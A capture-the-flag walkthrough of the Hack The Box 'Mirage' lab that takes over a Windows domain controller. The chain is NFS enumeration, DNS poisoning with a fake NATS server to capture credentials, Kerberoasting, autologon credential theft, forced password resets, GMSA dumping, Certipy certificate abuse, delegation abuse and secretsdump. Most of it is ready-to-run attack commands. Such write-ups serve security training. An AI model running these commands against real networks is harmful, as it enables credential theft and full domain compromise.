🥶Mira
mira
🔍 Step 1: Nmap Full Port Scan – Reconnaissance
nmap -v -sCTV -p- -T4 -Pn $IP
Nmap scan report for 10.10.11.78
Host is up (0.43s latency).
Not shown: 985 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-20 11:19:33Z)
111/tcp open rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
50300/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-07-20T11:20:47
|_ start_date: N/A
|_clock-skew: -2h59m07sAdd hosts
dc01.mirage.htb mirage.htb nats-svc.mirage.htb📂 Exploiting NFS Share on HTB Mirage
🔍 Initial Recon: NFS Discovered
While enumerating open ports on the target 10.10.11.78, we noticed that port 2049/tcp was open, which is typically used for NFS (Network File System). This suggests we might be able to access shared directories remotely.
2049/tcp open mountd 1-3 (RPC #100005)NFS can often be misconfigured to allow unauthenticated access. So, the next logical step is to check for exported file shares using showmount.
📤 Enumerating NFS Exports
We used the following command to enumerate shared directories:
showmount -e 10.10.11.78Output:
Export list for 10.10.11.78:
/MirageReports (everyone)This confirms that /MirageReports is an NFS share accessible to everyone — likely world-readable. This is a strong indicator of potential information disclosure.
📥 Mounting the NFS Share Locally
To explore this share, we mounted it on our local machine.
mkdir /tmp/mirage
sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirageOnce mounted, we navigated into the directory to inspect its contents.
cd /tmp/mirage
lsFiles found:
Incident_Report_Missing_DNS_Record_nats-svc.pdf
Mirage_Authentication_Hardening_Report.pdfThese documents immediately caught our attention — incident reports and hardening guides often contain juicy internal details such as usernames, server hostnames, exposed services, or security misconfigurations.
🧪 Kerberos, DNS Poisoning, and NATS Exploitation on Mirage
🔐 Authentication Hardening Report Analysis
After reviewing the PDF files found via the NFS share, one stood out:
Mirage_Authentication_Hardening_Report.pdf.
This document outlines a recommendation to:
Disable NTLM authentication.
Use Kerberos-only authentication instead.
Ensure proper DNS resolution for internal services like nats-svc.mirage.htb.
This is critical. If nats-svc.mirage.htb is missing in DNS and the environment enforces Kerberos, we can abuse DNS updates to redirect that service name to our attacking machine — tricking the system into authenticating to us.
🛠️ Step 1 – Kerberos Configuration
Before proceeding, we ensure our Kali box is ready to communicate via Kerberos by configuring /etc/krb5.conf:
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = MIRAGE.HTB
[realms]
MIRAGE.HTB = {
kdc = dc01.MIRAGE.HTB
admin_server = dc01.MIRAGE.HTB
default_domain = MIRAGE.HTB
}
[domain_realm]
.MIRAGE.HTB = MIRAGE.HTB
MIRAGE.HTB = MIRAGE.HTB
🛰️ Step 2 – DNS Poisoning and Fake NATS Service
We’re told nats-svc.mirage.htb lacks a DNS record. That’s our opportunity.
We first create a fake NATS server listening on port 4222 — the default for NATS.
🔧 fake_server.py
import socket
print("[+] Fake NATS Server listening on 0.0.0.0:4444")
s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)
while True:
client, addr = s.accept()
print(f"[+] Connection from {addr}")
client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n')
data = client.recv(1024)
print("[>] Received:")
print(data.decode())
client.close()
Now poison the DNS:
nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 3600 A 10.10.x.x
🧲 Result: Credential Leak
Once the target attempts to reach the NATS server, it authenticates to us — and we capture credentials:
[>] Received:
CONNECT {"user":"Dev_Account_A","pass":"hXXXXXXXXXXXXXXXXXXX", ... }
📡 Step 3 – Interacting with NATS
We now install and configure natscli to interact using the credentials we captured:
/opt/nats/nats context add dev-nats \
--server nats://dc01.mirage.htb:4222 \
--user Dev_Account_A \
--password 'hXXXXXXXXXXXXXXXXX' \
--description "Dev access"Then subscribe to all messages:
/opt/nats/nats --context dev-nats sub ">" --count 10We observed live traffic including advisory events and auth_logs.
📚 Step 4 – Extracting Historical Logs via JetStream
We create a JetStream consumer to dump past authentication logs:
/opt/nats/nats --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicitUse the following values:
Start policy: all
Replay policy: instant
Filter: logs.auth
Now retrieve all messages:
/opt/nats/nats --context dev-nats consumer next auth_logs audit-reader --count=5 --wait=5s --ack
🎯 Credentials Captured: json
{"user":"david.jjackson","password":"XXXXXXXXXXXXXXXXXXXX"}🧪 Step 5 – Testing New Credentials
Ensure time sync with the DC:
sudo ntpdate dc01.mirage.htbThen test the captured creds via LDAP:
nxc ldap 10.10.11.78 -u david.jjackson -p 'XXXXXXXXXXXXXXXXXXXXXXXX' -k✅ Success!
Also, enumerate domain users:
nxc ldap 10.10.11.78 -u david.jjackson -p 'XXXXXXXXXXXXXXXXXXXXXXXX' -k --usersSample output:
mirage.htb\david.jjackson
mirage.htb\svc_mirage
mirage.htb\Dev_Account_A
mirage.htb\nathan.aadam
...
🧭 Step 6 – BloodHound Enumeration
With valid credentials and Kerberos access, we run bloodhound-python:
bloodhound-python -u david.jjackson -p 'XXXXXXXXXXXXXXXXX' \
-k -d mirage.htb -ns 10.10.11.78 -c All --zipThis completes enumeration of:
Domain Users
Groups & OUs
Computers & Sessions
Trusts (if any)
GPOs
Output is ready to be uploaded to BloodHound for privilege escalation analysis.
🎯 Kerberoasting & Gaining Access as nathan.aadam on HTB Mirage
🔐 Kerberoasting via Impacket
After some user enumeration, we identified a valid domain user: david.jjackson. From previous steps, we had obtained a valid TGT using Kerberos (-k flag), which let us attempt Kerberoasting using Impacket's GetUserSPNs tool.
impacket-GetUserSPNs 'mirage.htb/david.jjackson' -dc-host dc01.mirage.htb -k -requestThis pulled a Service Principal Name (SPN)-based ticket for another user:
ServicePrincipalName Name MemberOf
------------------------ ------------ -------------------------------------------------------
HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,...The tool also dumped a TGS hash (Kerberos service ticket) for nathan.aadam, which we saved for offline cracking.
🧨 Cracking the TGS Ticket with Hashcat
The hash type for SPN-based TGS tickets is -m 13100 (Kerberos 5 TGS-REP etype 23). We used rockyou.txt to attempt cracking the hash:
hashcat -m 13100 nathan.hash /usr/share/wordlists/rockyou.txt --showAfter a short while, the password was revealed:
nathan.aadam:xxxxxxxxWe now had valid credentials for nathan.aadam.
🎫 Getting a TGT and Shell Access via Evil-WinRM
We proceeded to get a Kerberos Ticket Granting Ticket (TGT) using impacket-getTGT:
impacket-getTGT mirage.htb/nathan.aadam:'xxxxxxx'A .ccache file was saved:
[*] Saving ticket in nathan.aadam.ccacheWe then exported the ticket for use:
export KRB5CCNAME=nathan.aadam.ccacheNow, we could authenticate using Kerberos (no password prompt needed) and spawn a WinRM shell:
evil-winrm -i dc01.mirage.htb -r mirage.htb⚠️ Note: We did not supply a username or password — the session used our Kerberos ticket.
Once connected, we successfully landed a shell as:
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>
🏁 Privilege Escalation to Domain Admin on Mirage HTB
After gaining access as nathan.aadam, we pivoted toward privilege escalation using data gathered via BloodHound and Active Directory abuse techniques.
🔎 BloodHound Insights
BloodHound analysis revealed a potential attack path:
Nathan.aadam → MemberOf IT_ADMIN
MARK.BBOND (IT_SUPPORT) → ForceChangePassword → JAVIER.MMARSHALL
JAVIER.MMARSHALL → ReadGMSAPassword → MIRAGE-SERVICE$Our goal: Abuse ReadGMSAPassword on MIRAGE-SERVICE$ to ultimately escalate privileges.
🔓 Extracting Mark.bbond’s Credentials (AutoLogon Trick)
On Nathan’s session, we queried the registry for autologon credentials:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"We found:
DefaultUserName REG_SZ mark.bbond
DefaultPassword REG_SZ 1dXXXXXXXX✅ Valid credentials:
mark.bbond:1dXXXXXX
🔁 Resetting Javier.mmarshall’s Password
Using bloodyAD, we leveraged ForceChangePassword from Mark to reset Javier's credentials:
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1dXXXXXX' set password JAVIER.MMARSHALL 'P4ssw0rd!'✅ Password successfully changed.
However, trying to query msDS-ManagedPassword failed:
KerberosError: KDC_ERR_CLIENT_REVOKED
🛑 User Is Disabled — Reactivating Javier
Checking user status:
bloodyAD --kerberos -u "mark.bbond" -p '1dxxxxxxx' -d "mirage.htb" --host "dc01.mirage.htb" get object "javier.mmarshall" --attr userAccountControlStatus:
OU=Disabled
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNTTo fix this, we removed the ACCOUNTDISABLE flag:
bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac JAVIER.MMARSHALL -f ACCOUNTDISABLE✅ Javier’s account re-enabled.
🔐 Dumping the GMSA (Group Managed Service Account) Password
Now with Javier’s account active, we pulled the GMSA password:
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u javier.mmarshall -p 'P4ssw0rd!' get object 'Mirage-Service$' --attr msDS-ManagedPasswordOutput:
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b4xxxxxxxxx:305806d84f7c1be93a07aaf4xxxxxxxxxx✅ We now have the NTLM hash of Mirage-Service$.
🎫 Getting a TGT Using the GMSA Hash
impacket-getTGT mirage.htb/Mirage-Service\$ -hashes :305806d84f7c1be93a07aafxxxxxxxxxTicket saved to Mirage-Service$.ccache.
export KRB5CCNAME=Mirage-Service\$.ccache
🎭 Certificate Abuse with Certipy (Misconfigured CA)
From Mirage-Service$, we abused certificate templates using Certipy:
Step 1: Modify UPN of Mark
certipy-ad account update \
-user 'mark.bbond' \
-upn 'dc01$@mirage.htb' \
-u 'mirage-service$@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target dc01.mirage.htbStep 2: Revert UPN and Request a Certificate
export KRB5CCNAME=mark.bbond.ccache
certipy-ad req \
-u 'mark.bbond@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target 'dc01.mirage.htb' \
-ca 'mirage-DC01-CA' \
-template 'User'✅ Certificate saved as dc01.pfx.
🧬 LDAP Shell + Resource-Based Constrained Delegation (RBCD)
Using the certificate:
certipy-ad auth \
-pfx dc01.pfx \
-dc-ip 10.10.11.78 \
-ldap-shellIn the shell:
set_rbcd dc01$ Mirage-Service$✅ RBCD granted — Mirage-Service$ can now impersonate dc01$.
🧙♂️ Impersonating dc01$ (Domain Controller)
We used S4U2Self + S4U2Proxy to get a service ticket as dc01$:
impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' \
-dc-ip 10.10.11.78 \
'mirage.htb/Mirage-Service$' -hashes :305806d84f7c1be93a07axxxxxxx✅ Got a TGS ticket for cifs/DC01.
🪓 Dumping All Domain Hashes — Full Pwn
impacket-secretsdump -k -no-pass mirage.htb/Administrator@dc01.mirage.htb -dc-ip 10.10.11.78
✅ Administrator hash dumped!
impacket-getTGT mirage.htb/Administrator -hashes :7be6d4f3c2b9c0e356XXXXXXXXXX -dc-ip 10.10.11.78
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccacheLast updated